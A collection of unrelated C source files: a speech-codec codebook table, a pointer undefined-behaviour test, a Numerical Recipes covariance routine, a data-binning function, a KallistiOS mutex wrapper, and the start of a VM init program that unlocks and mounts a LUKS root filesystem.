-6, -36, -57, -62, 27, 40, 21, 11, 9, -19,
-10, -47, -49, -59, -74, -18, -14, -30, 25, 18,
-23, -69, -82, 60, 66, 40, 75, 54, 65, 38,
-19, -57, -92, -68, 66, 58, 34, 18, 1, -16,
-29, -68, -99, -88, -37, -38, 13, 8, 5, 40,
-22, -63, -75, 14, 15, 7, 75, 58, 59, 34,
-23, -62, -82, -39, -31, -53, -27, 5, -3, 20,
13, -26, -20, 22, 2, -3, 35, 13, 54, 39,
32, 5, -13, -22, -45, -58, -1, -20, -19, 7,
30, 46, 70, 55, 89, 88, 91, 67, 56, 28,
-13, -50, -63, -25, -28, -50, -23, -32, -34, 19,
-13, -54, -65, -9, -20, -37, 29, 6, 11, 25,
0, -40, -55, -78, -107, -25, 47, 20, 34, 16,
-20, -58, -96, -103, 38, 43, 27, 30, 15, -1,
-16, -49, -52, -66, -80, -57, -44, -39, 6, 38,
0, -38, 5, 13, -8, 23, 24, 1, 7, -9,
-18, -56, -64, -7, 38, 13, 11, 32, 28, 0,
14, -3, -20, -17, 4, -26, -34, -8, 19, -9,
-23, -60, -83, -38, -8, -32, 11, 19, -1, -5,
-5, -47, -12, 56, 38, 22, 18, -8, -5, -8,
18, -4, -24, -16, 27, 2, -6, 5, 25, -5,
13, 0, -19, -35, -23, -45, -59, -30, 19, 3,
19, -12, -23, 1, -7, -35, -14, -32, -23, 4,
-23, -64, -67, -22, -27, -5, -5, -20, 20, 5,
20, 11, 83, 92, 85, 89, 69, 53, 80, 48,
15, -2, -21, -29, -18, -48, -52, -12, -11, -21,
-6, -38, -55, -68, -9, 33, 22, 19, 25, -1,
-8, -46, -49, -67, -64, 16, 8, -6, 32, 15,
3, -25, -46, -46, 39, 50, 34, 21, 46, 14,
8, -33, -37, -68, -82, 31, 34, 13, 19, -6,
33, 0, 5, -7, -32, 2, 22, -3, 35, 17,
-23, -62, -91, -64, 6, 3, 36, 26, 7, -3,
-12, -54, -60, 26, 46, 16, 30, 22, 8, -4,
-23, -61, -40, 31, 58, 73, 88, 77, 74, 41,
-2, -42, -49, 13, 5, -15, 22, -4, 26, 27,
-13, -54, -39, 18, 2, -8, -12, 34, 56, 23,
-20, -31, 27, 23, 24, 28, 39, 33, 47, 27,
36, 17, -4, -20, -30, -61, -8, 20, 0, -15,
-10, -51, -72, -82, -111, -73, 34, 25, 19, 38,
-10, -45, -63, -55, -46, -75, -45, 34, 34, 12,
6, -18, 29, 26, 7, -9, 0, 5, 38, 22,
-7, -52, -16, 69, 43, 26, 23, 2, 51, 34,
-12, -51, -59, -78, -88, 15, 20, 0, -14, 12,
-3, -36, -59, -45, 60, 49, 28, 20, 16, -13,
-28, -70, -90, 9, 67, 48, 90, 77, 70, 38,
-10, -39, -58, -54, 15, -12, 3, 35, 27, -3,
12, -1, 28, 29, 55, 53, 80, 65, 51, 23,
-17, -61, -39, 74, 56, 43, 75, 51, 58, 36,
-30, -71, -93, -43, -29, -26, 4, -19, -14, 37,
3, -13, -31, -38, 11, -5, -22, -11, 43, 14,
-25, -65, -80, -79, -71, 3, 37, 32, 20, 9,
-20, -60, -77, -26, 18, 43, 44, 24, 22, -3,
-4, -42, -22, -19, -45, -32, -35, -39, -46, 1,
-25, -59, -27, -10, -7, -4, 7, 13, 25, 12,
8, -25, -32, -47, -74, -32, 27, 6, 25, 7,
41, 40, 62, 64, 64, 50, 54, 42, 49, 25,
-21, -63, -88, -21, 16, -3, -4, -26, 57, 38,
8, -25, -34, 2, -8, -28, 2, -22, 12, 23,
-19, -49, 10, 71, 84, 71, 66, 48, 42, 22,
-20, -58, -89, -57, 62, 44, 33, 36, 25, -1,
-22, -55, -27, 1, 43, 37, 46, 50, 51, 26,
1, -38, -46, 22, 34, 4, 20, -2, 3, 9,
-4, -42, -49, -75, -89, -24, -25, 19, 71, 39,
5, -28, -45, -43, -63, -75, -17, -38, 14, 30,
-4, -36, -62, -59, -29, -43, -4, -16, 11, 23,
-19, -57, -82, -39, 26, 2, -2, 20, 11, -10,
-28, -68, -92, -70, 9, -1, -15, -30, 11, 31,
1, -22, -41, -49, -30, -58, -48, 8, 4, -9,
38, 41, 108, 115, 96, 98, 103, 84, 86, 51,
15, 1, 58, 46, 26, 6, 16, 18, 41, 24,
4, -34, -14, -27, -42, 20, 18, 2, 23, 1,
-22, -59, -83, -70, -22, -42, -26, 29, 29, 15,
-14, -34, 11, -1, -21, -35, -3, 1, 29, 16,
-16, -57, -78, -7, 17, -13, 8, -13, -6, 22,
-22, -32, -21, -20, 20, -4, 10, 13, 12, -4,
8, -30, -30, -46, -71, -4, 3, -11, 4, -11,
16, 5, -15, -21, 3, -23, -25, -19, -28, -32,
-28, -68, -98, -101, -34, 19, 71, 52, 49, 30,
-18, -57, -82, -56, -56, -66, 15, 12, 1, 29,
-21, -62, -76, -27, -33, -38, 18, 30, 54, 32,
3, -36, -10, -17, -34, -3, -8, 32, 63, 27,
1, -30, -44, -20, -13, -49, -25, 3, -14, -18,
-26, -68, -80, -46, -28, 17, 42, 37, 58, 34,
30, 26, 57, 55, 49, 25, 16, 3, 24, 11,
35, 35, 67, 57, 60, 82, 114, 103, 93, 55,
18, -8, -23, -32, -53, -68, 15, 11, -6, -7,
-2, -43, -29, 0, -28, -5, -5, -15, 25, -1,
4, -13, -35, -45, 14, -6, -2, 19, 16, -9,
-30, -72, -93, -93, -73, -10, -15, 6, 30, 45,
-23, -58, -50, -55, -74, -60, -23, 0, 6, 21,
-4, -40, -63, -24, 7, -19, 4, -18, 27, 28,
-12, 1, 88, 76, 74, 88, 93, 90, 80, 44,
-13, -59, -43, 52, 27, 21, 15, 12, 42, 11,
22, -14, -17, -33, -57, -4, 5, -18, 40, 18,
-3, -23, -43, -44, 8, -16, -14, -4, -20, -29,
35, 45, 75, 82, 111, 117, 125, 105, 89, 51,
-3, -38, -57, -30, 79, 71, 48, 33, 33, 0,
-17, -62, -57, 66, 67, 35, 29, 5, 22, 17,
3, -31, -34, -21, -44, -49, 42, 23, 24, 26,
-23, -62, -74, -49, -30, -30, -37, -50, 9, 35,
-17, -57, -71, -81, -45, 61, 58, 37, 31, 9,
3, -7, 28, 14, -2, 0, 40, 41, 58, 33,
-11, -51, -74, -17, 40, 12, 8, 13, -4, -22,
-16, -46, -31, -35, -49, -49, -26, -9, -7, -7,
17, -9, -24, -41, -68, -73, 38, 33, 19, 16,
-15, -50, -47, -16, -24, -21, 59, 56, 53, 30,
-14, -54, -57, 2, -17, -33, -34, -21, 4, -4,
-23, -62, -93, -72, 48, 31, 21, 6, 3, 17,
-18, -63, -79, 44, 68, 36, 45, 20, 57, 37,
-29, -72, -99, -111, -86, -31, 7, 25, 39, 55,
-14, -49, -53, -63, -80, -31, 24, 13, 1, -1,
-9, -45, -55, -27, -31, -63, -23, 25, 13, -5,
-20, -61, -80, 7, 44, 16, 54, 40, 32, 17,
24, 7, -8, -43, -62, -54, -11, 7, 35, 27,
-12, -55, -59, -48, -69, -4, -1, -12, 68, 39,
-12, -31, 52, 63, 53, 34, 29, 22, 36, 19,
-26, -66, -97, -79, 50, 41, 40, 48, 54, 28,
-2, -37, -41, -2, -11, -30, 29, 16, 4, -2,
40, 49, 56, 37, 39, 40, 64, 59, 67, 39,
11, -5, 20, 14, 25, 16, 25, 22, 37, 17,
-3, -43, -46, -10, -35, -38, -35, -39, 67, 43,
-7, -47, -33, -39, -60, -12, -18, 11, 43, 11,
-25, -65, -91, -76, -91, -81, 0, 13, 34, 50,
-9, -50, -52, 17, 0, -4, 43, 18, 63, 42,
-8, -15, 15, 41, 56, 35, 51, 45, 51, 29,
0, -14, -24, -36, -43, -70, -39, 27, 33, 5,
-25, -62, -81, -66, -12, -26, -16, -4, -13, 21,
-29, -68, -60, -24, -3, 11, 18, 19, 30, 20,
1, -35, -42, -30, -57, -51, 13, -17, 3, 22,
-8, -27, -12, -2, -7, -21, 36, 41, 34, 12,
-17, -56, -62, -72, -73, -17, -26, 9, 16, 13,
11, -21, -37, -3, 16, -17, 1, -3, -18, -19,
15, -20, -19, -22, -49, -30, -7, -29, 3, -2,
17, -4, 11, 6, 51, 40, 36, 34, 48, 22,
-19, -55, -29, 37, 68, 49, 45, 33, 42, 23,
7, -30, -22, 3, -22, -36, -36, -54, 20, 22,
20, 2, -15, -39, -59, -85, -10, 37, 21, 2,
-15, -54, -77, -54, 74, 70, 48, 32, 51, 20,
-25, -64, -70, -75, -52, 17, 6, -20, -30, 26,
-13, -55, -15, 39, 16, 42, 30, 33, 62, 28,
-21, -56, -30, -35, 6, 13, -4, -29, 33, 27,
-17, -55, -75, -31, 3, -28, -26, 16, 18, -4,
-13, -44, -60, -52, -9, -36, -38, 1, -9, -9,
-12, -50, -77, -70, 43, 47, 28, 13, 43, 16,
-13, -57, -80, -104, -113, -30, 43, 45, 52, 39,
3, -28, -42, -37, -58, -67, 23, 4, 38, 33,
-21, -64, -74, -22, 43, 83, 81, 56, 62, 32,
34, 26, 23, 9, 14, 17, 26, 16, 37, 19,
-5, -48, -49, -75, -65, 9, -6, 41, 45, 15,
32, 30, 63, 83, 90, 91, 100, 84, 85, 52,
-19, -54, -68, -71, 11, 30, 13, 1, 63, 37,
44, 76, 99, 87, 117, 113, 103, 77, 64, 32,
-16, -45, -12, 30, 27, 15, 57, 49, 42, 22,
9, -15, -31, -28, -36, -61, -13, -18, -33, -5,
-12, -55, -8, 82, 64, 47, 42, 21, 27, 9,
-15, -56, -74, -12, -19, -28, 7, -16, 53, 38,
-7, -45, -64, -55, -74, -80, 35, 45, 24, 15,
-25, -48, -34, -42, -6, -27, -9, 9, 13, -7,
-25, -65, -84, -35, 30, 14, 24, 39, 48, 28,
-22, -62, -86, -51, 64, 104, 94, 61, 62, 31,
16, -15, -25, -28, -55, -56, -10, -23, 52, 36,
10, -10, -22, -46, -71, -92, -45, -13, 16, 26,
-22, -65, -84, 17, 85, 55, 66, 48, 55, 31,
-1, -38, -33, -25, -49, -15, 18, -10, 41, 30,
-3, -24, -47, -60, -30, -46, -17, -13, -27, 1,
-7, -41, -61, -54, -50, -78, -28, 5, -2, 20,
17, -12, -27, -4, 8, -27, -5, 23, 14, -12,
-36, -81, -111, -75, -17, -9, 9, 9, 39, 49,
-13, -59, -54, 68, 51, 32, 35, 14, 64, 38,
-11, -44, -69, -57, 11, -11, -5, 3, -16, -15,
34, 36, 41, 16, -8, -24, 11, 23, 48, 28,
-17, -42, 8, 17, 45, 69, 71, 55, 49, 23,
3, -30, -46, -64, -95, -109, 2, 39, 19, 19,
25, -13, -7, 16, -11, -5, 8, -11, 52, 33,
-8, -37, -57, -60, 13, 7, -14, -4, 20, -7,
7, -31, 9, 44, 20, 22, 29, 10, 52, 31,
3, -22, -36, -53, -80, -77, -35, -41, 54, 41,
-21, -59, -87, -83, 12, 69, 57, 36, 32, 2,
6, -14, -34, -42, -4, -32, -27, 10, 4, -20,
-11, -56, -59, 25, 8, -5, -9, -26, 68, 43,
22, 13, 40, 39, 73, 81, 95, 88, 82, 45,
-18, -62, -79, 28, 60, 28, 29, 3, 23, 25,
6, -31, -39, -55, -85, -32, 7, -17, 48, 30,
7, -24, -42, -8, 39, 10, 7, 11, 1, -20,
-1, -36, -26, -30, -48, 2, 46, 26, 35, 14,
-17, -57, -56, -10, -4, 26, 22, 6, -4, -16,
-18, -55, -59, -67, -86, -50, 3, 29, 29, 16,
-25, -61, -33, 2, 26, 25, 23, 10, 24, 16,
26, 15, -8, -20, 6, -21, -16, 3, 0, -22,
13, -17, -26, -12, -31, -48, 15, -3, 1, 14,
4, -27, -33, -21, -29, -53, -52, -64, -42, 22,
-11, -41, -42, -40, -42, -64, 0, 48, 50, 19,
-13, -47, -42, -56, -50, 10, 3, -9, -30, -16,
-4, -47, -12, 14, -13, 21, 13, 6, 73, 40,
-15, -50, -63, -41, -31, -55, -60, -13, 28, 15,
-6, -50, -56, -81, -95, 30, 29, 21, 71, 35,
-14, -58, -65, 37, 40, 9, 18, -10, -4, 20,
31, 33, 79, 106, 119, 103, 100, 77, 64, 33,
14, 7, 56, 81, 97, 85, 85, 61, 45, 20,
-24, -66, -74, -51, -17, 16, 5, -21, 22, 26,
-1, -25, -38, -24, -2, -35, -26, 21, 34, 1,
20, 15, 75, 59, 39, 26, 48, 43, 50, 29,
26, 1, -15, -4, -9, -38, 9, 2, -9, -8,
20, 14, 19, 13, 2, -16, 24, 25, 19, 3,
-8, -41, -58, -78, -109, -106, -27, 9, 53, 46,
17, 5, -13, -25, -24, -54, -20, 2, -21, -25,
-11, -50, -48, 19, 10, -7, 46, 26, 24, 17,
-28, -68, -69, -50, -49, -33, -7, 10, 20, 21,
4, -36, -21, 38, 19, 1, 25, -3, 20, 22,
-18, -58, -87, -44, 82, 73, 49, 31, 19, -7,
-21, -61, -78, -44, -58, -66, -9, -23, 10, 40,
-25, -66, -76, -33, -33, 6, 16, -6, -21, 5,
-27, -69, -77, 5, -2, -7, 6, 9, 24, 6,
1, -41, -41, -58, -79, 25, 69, 43, 68, 36,
-28, -67, -85, -71, -34, 0, 14, 12, -2, 4,
-2, -33, -55, -37, 37, 25, 6, 6, 29, -4,
-8, -25, -11, -9, 40, 23, 17, 25, 37, 12,
-21, -27, 52, 60, 47, 58, 76, 70, 69, 38,
23, 15, 22, -8, -32, -50, -10, 3, 31, 21,
-10, -44, -67, -61, -29, -54, 8, 39, 21, 4,
31, 18, 30, 36, 46, 28, 50, 42, 35, 13,
-21, -57, -24, -16, -15, 14, 3, -25, -17, 20,
23, 6, 24, 35, 90, 72, 64, 55, 55, 23,
7, -28, -42, -19, -36, -50, -15, -40, 29, 28,
-21, -59, -66, -59, -6, 85, 83, 53, 54, 26,
2, -20, -42, -52, -27, -49, 5, 9, -9, -8,
-18, -56, -84, -72, 24, 51, 32, 20, 13, -10,
-13, -53, -64, -39, -63, -40, 24, 0, 34, 29,
0, -31, -45, -63, -90, -53, 3, -18, -9, 24,
-13, -57, -71, 27, 19, -3, 25, -3, 45, 35,
12, -9, -26, -40, -51, -78, -24, 11, -9, -6,
-12, -49, -45, -33, -50, -48, -46, -52, 2, 25,
-14, -56, -84, -108, -122, -50, 4, 22, 42, 53,
-6, -44, -54, -28, -41, -61, 19, 25, 6, 1,
-32, -75, -95, -38, -1, -15, 7, 14, 23, 23,
11, 12, 37, 30, 38, 51, 80, 80, 82, 47,
-19, -56, -69, -82, -98, -64, -29, 2, 28, 42,
-18, -49, 3, 34, 41, 39, 32, 18, 21, 7,
-8, 23, 39, 30, 30, 27, 41, 36, 44, 23,
-16, -49, -69, -46, 1, -27, 41, 48, 35, 15,
6, -32, -36, 5, -17, -30, 2, -16, 51, 35,
-23, -64, -91, -21, 71, 44, 52, 44, 40, 21,
-22, -55, -40, -20, 62, 52, 38, 29, 27, 5,
-27, -69, -75, -6, -8, 3, -2, -30, -42, 13,
2, -29, -42, -10, 29, 2, 15, 30, 26, 0,
-27, -69, -85, -75, -54, -8, -14, -31, 16, 42,
-2, -44, -54, -75, -101, -6, 4, -3, 32, 13,
7, -3, -22, -43, -14, -27, -24, -11, -14, -12,
-18, -57, -85, -66, 47, 86, 75, 45, 42, 10,
18, 3, 39, 76, 80, 48, 48, 41, 44, 21,
-13, -51, -73, -22, -15, -41, 3, -4, -22, 3,
-10, -50, -63, -9, -23, -42, -6, -30, 11, 28,
15, -11, -29, -39, -57, -71, -23, -40, -33, 20,
-2, -40, -48, -5, -21, -25, 31, 7, 53, 35,
-19, -63, -72, 39, 34, 16, 37, 17, 54, 31,
-18, -49, -28, -27, -40, -29, 4, 4, 19, 11,
-1, -43, -41, 24, 15, -12, -4, -31, -4, 23,
-11, -46, -79, -74, 34, 21, 9, 15, 3, -13,
-16, -51, -56, -55, 8, 62, 50, 30, 43, 14,
-1, -25, -27, -32, -46, -62, -66, -36, 53, 32,
-12, -49, -77, -50, 2, -21, 23, 6, 14, 21,
-5, -47, -58, -77, -105, -14, 30, 9, 73, 44,
-24, -52, -4, 10, 13, 13, 27, 27, 42, 24,
-10, -38, -27, -15, -24, -52, -53, 1, 14, -6,
-17, -45, -13, 2, 19, 53, 83, 79, 76, 43,
-21, -62, -86, -48, 40, 17, 14, -9, 40, 30,
-1, -32, -51, -33, -3, -35, 2, 17, -2, -12,
-21, -60, -85, -70, 33, 73, 58, 37, 67, 36,
-1, -45, -39, 37, 17, 3, 18, -8, 53, 35,
-8, -47, -65, -61, -87, -93, 9, 9, 2, 33,
-13, -55, -56, -19, -29, 14, 17, 6, 55, 28,
5, 1, -7, -23, -26, -56, -39, 14, 11, -13,
-28, -69, -89, -74, -83, -45, 1, 0, 16, 45,
-3, 5, 91, 104, 119, 111, 97, 76, 72, 39,
19, 5, -12, -34, -41, -72, -67, 14, 21, 1,
-17, -49, 15, 27, 13, 6, 2, 12, 27, 10,
-10, -30, 18, 36, 93, 87, 87, 69, 58, 26,
37, 32, 64, 54, 53, 67, 78, 73, 80, 48,
48, 46, 38, 9, -1, 8, 47, 44, 58, 33,
-23, -61, -88, -76, 27, 14, 9, 36, 36, 10,
-24, -66, -88, -97, -55, 20, 19, 16, 52, 31,
4, -16, -1, -8, 2, 0, 15, 13, 29, 14,
-9, -44, -66, -72, 8, 32, 37, 38, 46, 16,
-22, -65, -62, 30, 22, 51, 57, 45, 68, 38,
-4, -42, -53, -33, -54, -53, -4, -18, 62, 40,
-5, -37, -61, -41, 35, 15, -2, -3, -12, -28,
-18, -65, -55, 90, 80, 49, 44, 21, 59, 36,
5, -16, -31, -32, -37, -62, -19, -11, 9, 16,
-22, -60, -67, -51, -61, -35, -5, -18, -27, 24,
-18, -55, -39, -42, -40, 20, 25, 6, 6, 7,
0, -25, -42, -50, -59, -84, -31, -13, -22, 17,
-32, -73, -100, -89, -21, -10, 18, 38, 31, 23,
-15, -54, -57, -13, -18, -41, -32, 17, 50, 21,
-16, -57, -71, -10, -8, -26, -38, -47, 42, 25,
-17, -58, -82, -7, 33, 3, 30, 11, 13, 24,
-23, -61, -97, -83, 82, 81, 57, 39, 31, 2,
26, 32, 104, 86, 62, 55, 77, 70, 74, 43,
-8, -29, -33, -52, -74, -73, -17, 14, 39, 25,
-21, -60, -68, -22, 43, 37, 51, 54, 64, 36,
-5, -30, -50, -52, 22, 7, 10, 13, 0, -20,
-15, -53, -61, -34, -50, -25, 15, 6, 0, -14,
-10, -51, -60, 20, 77, 50, 34, 22, 8, -8,
-8, -45, -52, -59, -76, -35, -43, -49, 47, 40,
41, 44, 53, 40, 41, 30, 38, 31, 46, 24,
19, 3, -15, -26, -16, -45, -13, 24, 18, -5,
-3, -39, -54, -35, -49, -70, 2, -6, -19, 15,
-13, -53, -36, 6, -3, 45, 50, 30, 33, 10,
15, -25, -16, -4, -32, 7, 23, 6, 67, 36,
-21, -58, -87, -71, 10, -12, -16, 19, 10, 0,
9, -15, -6, 25, 31, 7, 30, 28, 20, 2,
2, -28, -42, -50, -67, -75, 12, 12, -4, 8,
-17, -63, -58, 56, 49, 36, 60, 38, 37, 14,
-13, -48, -38, -29, -44, -25, -20, -33, 38, 20,
2, -37, -42, -1, -18, -42, 3, -17, -19, 12,
-20, -60, -73, -7, 12, -13, -22, -38, 4, 10,
-8, -41, -63, -65, 42, 63, 45, 31, 31, 0,
-4, -46, -38, -9, -35, 15, 50, 27, 67, 39,
3, -7, -13, -34, -51, -47, 9, 39, 54, 29,
-29, -71, -89, -52, -39, -6, 3, 2, 38, 28,
-14, -42, -13, -15, -19, 0, 20, 12, 37, 25,
11, -26, -24, -40, -65, -11, -13, -27, 65, 37,
0, -31, -46, -17, -21, -45, 11, -2, 25, 24,
51, 91, 102, 87, 85, 63, 57, 42, 48, 23,
-4, -34, -56, -70, -10, -14, 4, 18, 3, -8,
-23, -59, -39, -44, -42, -14, -10, -23, -4, 17,
-2, 4, 35, 63, 69, 75, 82, 63, 78, 48,
-17, -55, -60, -3, -4, -19, 4, -4, -18, -29,
2, -20, -36, -50, -32, -59, -16, 30, 16, -6,
-12, -47, 24, 68, 45, 46, 41, 32, 65, 37,
-4, -40, -54, -67, -96, -66, -9, -25, 42, 38,
-15, 13, 58, 58, 84, 104, 119, 104, 89, 51,
-15, -24, -9, -24, -27, -50, -7, 28, 29, 6,
-7, -33, -35, -49, -65, -53, -37, -10, 33, 14,
31, 19, 46, 72, 67, 45, 83, 68, 63, 41,
-14, -53, -59, -17, 55, 79, 64, 39, 43, 10,
};
const signed char cdbk_lsp2_vlbr[160]={
-20, -30, -24, 17, 7, -13, -21, 61, 56, 16,
12, 1, 10, 77, 32, 3, 7, 3, -25, -31,
-4, 2, -36, -83, 18, 5, -5, 5, 11, 23,
-2, -1, -11, -12, -20, -28, 68, 50, -17, -20,
5, 2, 1, 20, 17, 4, -52, -66, 36, 24,
-4, -10, 7, -15, -32, 80, 37, 8, -13, -29,
33, 37, 28, 15, 8, 14, 35, 18, 50, 36,
-4, -1, 4, -7, 3, 3, -11, -58, -75, 13,
13, 21, 24, -11, -12, -38, -72, 33, 15, -12,
-44, -17, 83, 21, 2, 7, 0, 4, 0, -1,
-25, -42, -51, 33, 20, 15, 30, -13, 9, 32,
6, 2, -8, 7, -38, -77, 6, -13, -7, 32,
48, 57, 32, -12, -10, -4, 2, -15, -29, -29,
2, 10, -9, -16, 79, 44, 7, 12, -5, -18,
-23, -29, -35, -3, -3, -18, -34, -3, -39, -50,
-5, -10, -8, -37, -76, 11, -4, -19, 30, 16,
};
#endif
|
the_stack_data/23574898.c | #include <stdio.h>
#include <string.h>
#include <stddef.h>
int main() {
int x=1, y=2;
int *p = &x;
int *q = &y;
ptrdiff_t offset = q - p;
int *r = p + offset;
if (memcmp(&r, &q, sizeof(r)) == 0) {
*r = 11; // is this free of UB?
printf("y=%d *q=%d *r=%d\n",y,*q,*r);
}
}
|
the_stack_data/538283.c | #define SWAP(a,b) {swap=(a);(a)=(b);(b)=swap;}
void covsrt(float **covar, int ma, int ia[], int mfit)
{
int i,j,k;
float swap;
for (i=mfit+1;i<=ma;i++)
for (j=1;j<=i;j++) covar[i][j]=covar[j][i]=0.0;
k=mfit;
for (j=ma;j>=1;j--) {
if (ia[j]) {
for (i=1;i<=ma;i++) SWAP(covar[i][k],covar[i][j])
for (i=1;i<=ma;i++) SWAP(covar[k][i],covar[j][i])
k--;
}
}
}
#undef SWAP
/* (C) Copr. 1986-92 Numerical Recipes Software 7&X*. */
|
the_stack_data/51558.c | /*
<TAGS>signal_processing transform</TAGS>
DESCRIPTION:
- reduce data to averaged bins of a fixed size
- non-finite values (INF, NAN) do not contribute to the averages
- allows for different numbers of elements to go into different bins to evenly spread the results (fractional bin-widths)
- allows definition of a "zero" sample which is guaranteed to be the first sample in the bin corresponding with the new "zero"
- guarantees no bins will be under-sampled - edge bins will contain between 1x and just-under-2x bindwidth samples
- exception - a single partial-bin just before zero can be included, as data around zero is usually too important to exclude
USES:
Downsampling data
DEPENDENCY TREE:
No dependencies
ARGUMENTS:
double *data : pointer to input array, which will be overwritten
long *setn : number of elements in data (overwritten - pass as address)
long *setz : element to treat as "zero" (overwritten - pass as address)
double setbinsize : desired bin-width (samples - can be a fraction)
char *message : array to hold error message
RETURN VALUE:
- status (0=success, -1=fail)
- setz and setn are also updated
- can be used to reconstruct timestamps
SAMPLE CALL:
char message[256];
double data[19];
double aa,bb,nbins,sampinterval=1,setbinsize=3.5;
long ii,setn=19, setz=6;
for(ii=0;ii<setn;ii++) { data[ii]=(double)ii; printf("%g\n",data[ii]); }
printf("setz=item number %ld\n",setz);
printf("\n");
nbins= xf_bin1b_d(data,&setn,&setz,setbinsize,message);
if(nbins==0) {fprintf(stderr,"*** %s\n",message); exit(1);}
aa=(double)(setz)*(-1)*setbinsize*sampinterval;
bb=setbinsize*sampinterval;
for(ii=0;ii<setn;ii++) { printf("%g\t%f\n",aa,data[ii]); aa+=bb; }
printf("new setz=item number %ld\n",setz);
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int xf_bin1b_d(double *data, long *setn, long *setz, double setbinsize, char *message) {
char *thisfunc="xf_bin1b_d\0";
long ii,jj,n1,n2=0,zero,nsums=0,start;
double aa,bb,cc,prebins,limit,sum=0.0;
n1=*setn;
zero=*setz;
//TEST: fprintf(stderr,"n1=%ld\tzero=%ld\tsetbinsize=%.9f\n",n1,zero,setbinsize);
/* CHECK PARAMETERS */
if(n1<1) {
sprintf(message,"%s [ERROR]: number of samples (%ld) must be >0",thisfunc,n1);
return(-1);
}
if(setbinsize==1.0) {
return(n1);
}
if(setbinsize<=0) {
sprintf(message,"%s [ERROR]: bin size (%g) must be >0",thisfunc,setbinsize);
return(-1);
}
if(zero>=n1) {
sprintf(message,"%s [ERROR]: specified zero-sample (%ld) must be less than data array length (%ld)",thisfunc,zero,n1);
return(-1);
}
//TEST: for(ii=0;ii<n1;ii++) printf("%g\n",data[ii]); exit(1);
/* IF "ZERO" IS SET, CALCULATE THE NUMBER OF BINS BEFORE "ZERO" (PREBINS) */
/* note that if prebins is not an integer, a portion will be combined with another bin */
if(zero>0) prebins=(double)(zero)/setbinsize;
else prebins=0.0;
/* PRE-BIN AND SET START FOR MAIN BINNING SECTION */
/* if prebins is zero or an integer, we can start from sample-zero with no special measures */
if(fmod(prebins,1)==0.0) {
start= 0;
limit= setbinsize - 1.0;
}
/* otherwise, build a fractional bin and proceed from the first full-bin */
else {
// define limits for first bin which will include the partial bin + 1 full bin
limit= (double)(zero-1) - ((long)(prebins-1.0)*setbinsize);
if(limit>=zero) limit= zero-1;
// build the bin
for(ii=0;ii<=limit;ii++) if(isfinite(data[ii])) { sum+= data[ii]; nsums++;}
if(nsums>0) data[n2]= (sum/(double)nsums);
else data[n2]=NAN;
n2++;
// set parameters for main loop
start= (long)limit+1;
limit+= setbinsize;
}
//TEST: fprintf(stderr,"start: %ld zero: %ld setbinsize:%.4f prebins=%g limit:%.16f\n",start,zero,setbinsize,prebins,limit);
/* START BINNING: LEFTOVER DATA AT THE END IS ADDED TO THE PRECEDING BIN */
sum= 0.0;
n2=nsums= 0;
for(ii=start;ii<n1;ii++) {
/* build runing sum and total data-points - good data only */
if(isfinite(data[ii])) { sum+= data[ii]; nsums++;}
// if the current sample-number is >= the limit defining the right edge of the curent window...
if(ii>=limit) {
//TEST: printf("\tii=%ld bin=%ld nsums=%ld limits: %f to %f: next=%f\n",ii,n2,nsums,(limit-setbinsize),(limit),(limit+setbinsize));
if(nsums>0) data[n2]= (sum/(double)nsums);
else data[n2]=NAN;
n2++;
sum=0.0; // reset the run1ing sum
nsums=0; // reset the count within the window
limit+= setbinsize; // readjust limit
}
}
//TEST: fprintf(stderr,"ii: %ld limit:%g nsums:%ld sum:%g \n",ii,limit,nsums,sum);
/* MAKE ONE MORE BIN IF THERE IS LEFTOVER DATA (IE. IF LAST SAMPLE DIDN'T TIP THE LIMIT) */
if( ((ii-1)+setbinsize) != limit ) {
jj= n1-(long)setbinsize;
if(jj<zero) jj=zero; // cannot integrate data from before zero!
sum=0.0; nsums=0;
for(ii=jj;ii<n1;ii++) {
if(isfinite(data[ii])) { sum+= data[ii]; nsums++;}
}
if(nsums>=0) data[n2]= sum/(double)nsums;
else data[n2]=NAN;
n2++;
}
/* REASSIGN SETZ AND N */
(*setz)= prebins;
(*setn)= n2;
return(0);
}
|
the_stack_data/130923.c | /* KallistiOS ##version##
mtx_trylock.c
Copyright (C) 2014 Lawrence Sebald
*/
#include <threads.h>
#include <errno.h>
int mtx_trylock(mtx_t *mtx) {
if(mutex_trylock(mtx)) {
if(errno == EAGAIN)
return thrd_busy;
return thrd_error;
}
return thrd_success;
}
|
the_stack_data/1249659.c | #include <limits.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
char DEFAULT_KRUN_INIT[] = "/bin/sh";
void set_rlimits(const char *rlimits)
{
unsigned long long int lim_id, lim_cur, lim_max;
struct rlimit rlim;
char *item = (char *) rlimits;
while (1) {
lim_id = lim_cur = lim_max = ULLONG_MAX;
lim_id = strtoull(item, &item, 10);
if (lim_id == ULLONG_MAX) {
printf("Invalid rlimit ID\n");
break;
}
item++;
lim_cur = strtoull(item, &item, 10);
item++;
lim_max = strtoull(item, &item, 10);
rlim.rlim_cur = lim_cur;
rlim.rlim_max = lim_max;
if (setrlimit(lim_id, &rlim) != 0) {
printf("Error setting rlimit for ID=%lld\n", lim_id);
}
if (*item != '\0') {
item++;
} else {
break;
}
}
}
int main(int argc, char **argv)
{
struct ifreq ifr;
int pid;
int pipefd[2];
int sockfd;
int wstatus;
char *hostname;
char *krun_init;
char *workdir;
char *rlimits;
char *passp;
passp = getenv("KRUN_PASS");
if (passp) {
printf("Unlocking LUKS root filesystem\n");
if (mount("proc", "/proc", "proc",
MS_NODEV | MS_NOEXEC | MS_NOSUID | MS_RELATIME, NULL) < 0) {
perror("mount(/proc)");
exit(-1);
}
pipe(pipefd);
pid = fork();
if (pid == 0) {
close(pipefd[1]);
dup2(pipefd[0], 0);
close(pipefd[0]);
if (execl("/sbin/cryptsetup", "cryptsetup", "open", "/dev/vda", "luksroot", "-", NULL) < 0) {
perror("execl");
exit(-1);
}
} else {
write(pipefd[1], passp, strnlen(passp, 128));
close(pipefd[1]);
waitpid(pid, &wstatus, 0);
}
printf("Mounting LUKS root filesystem\n");
if (mount("/dev/mapper/luksroot", "/luksroot", "ext4", 0, NULL) < 0) {
perror("mount(/luksroot)");
exit(-1);
}
chdir("/luksroot");
if (mount(".", "/", NULL, MS_MOVE, NULL)) {
perror("remount root");
exit(-1);
}
chroot(".");
}
